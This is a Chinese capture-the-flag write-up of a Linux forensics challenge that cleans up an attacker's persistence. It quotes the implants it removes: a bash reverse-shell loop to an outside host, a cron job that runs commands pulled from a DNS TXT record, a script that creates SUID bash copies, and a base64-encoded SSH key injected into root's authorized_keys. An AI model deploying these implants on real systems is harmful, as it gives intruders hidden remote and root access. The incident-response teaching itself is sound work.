HTB-Forensics-PersistenceIsFutile
简介
该Linux系统有8个问题,全部解决后获得flag。可通过ssh可连接该系统,有sudo权限。
思路
webshell入侵应急响应流程:
1. 用户命令日志
3. webshell文件
详细过程
通过ssh进入系统
ssh -p 31786 user@134.209.186.36 whoami#user
查看任务进度
sudo /root/solveme#[sudo] password for user: #Issue 1 is partially remediated#Issue 2 is not remediated#Issue 3 is not remediated#Issue 4 is not remediated#Issue 5 is not remediated#Issue 6 is not remediated#Issue 7 is not remediated#Issue 8 is not remediated
bash日志和配置
ls -al vi .bashrc
发现配置cat命令的alias存在异常,将其注释,并删除异常目录。
rm -rf /dev/tcp/172.17.0.1
用户
查看 /etc/passwd 发现异常用户在root用户组,而且可以通过使用bash,要对其加以修改。
异常进程
存在异常进程,停止进程,查看并删除对应目录
killcat /var/lib/private/connectivity-check#!/bin/bash##while true; do# nohup bash -i >& /dev/tcp/172.17.0.1/443 0>&1;# sleep 10;#donerm -rf /var/lib/private/connectivity-check
计划任务
1 计划任务配置目录 使用如下命令查看,发现异常的任务直接删除或注释即可。
crontab -l#* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"vi /var/spool/cron/crontabs/user
2 计划任务目录
在cron.daily下发现两个时间较近的文件
2.1 查看acess-up文件,这个脚本生成 文件名为随机6个字母的文件并用 /bin/bash 替换了它,还修改了文件属性。
sudo cat access-up#!/bin/bashDIRS=("/bin" "/sbin")DIR=${DIRS[$[ $RANDOM % 2 ]]}while : ; do NEW_UUID=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 6 | head -n 1) [[ -f "{$DIR}/${NEW_UUID}" ]] || breakdonecp /bin/bash ${DIR}/${NEW_UUID}touch ${DIR}/${NEW_UUID} -r /bin/bashchmod 4755 ${DIR}/${NEW_UUID}
通过命令找到执行文件,并逐一删除
find / -perm -4755 2>/dev/null
2.2 查看pyssh,会定时的修改ssh配置,用base64解码可知道特征,直接到对应文件删除即可。
sudo cat pyssh#!/bin/shVER=$(python3 -c 'import ssh_import_id; print(ssh_import_id.VERSION)')MAJOR=$(echo $VER | cut -d'.' -f1)if [ $MAJOR -le 6 ]; then /lib/python3/dist-packages/ssh_import_id_updatefi
sudo cat /lib/python3/dist-packages/ssh_import_id_update #!/bin/bashKEY=$(echo "c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUhSZHg1UnE1K09icTY2Y3l3ejVLVzlvZlZtME5DWjM5RVBEQTJDSkRxeDEgbm9ib2R5QG5vdGhpbmcK" | base64 -d)#ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHRdx5Rq5+Obq66cywz5KW9ofVm0NCZ39EPDA2CJDqx1 nobody@nothingPATH=$(echo "L3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMK" | base64 -d)#/root/.ssh/authorized_keys/bin/grep -q "$KEY" "$PATH" || echo "$KEY" >> "$PATH"
其他
1 与connectivity-check相关的文件,删除
find / -type f |grep connectivity-check 2>/dev/null
2 alertd文件
3 其他的异常文件 /usr/sbin/ppppd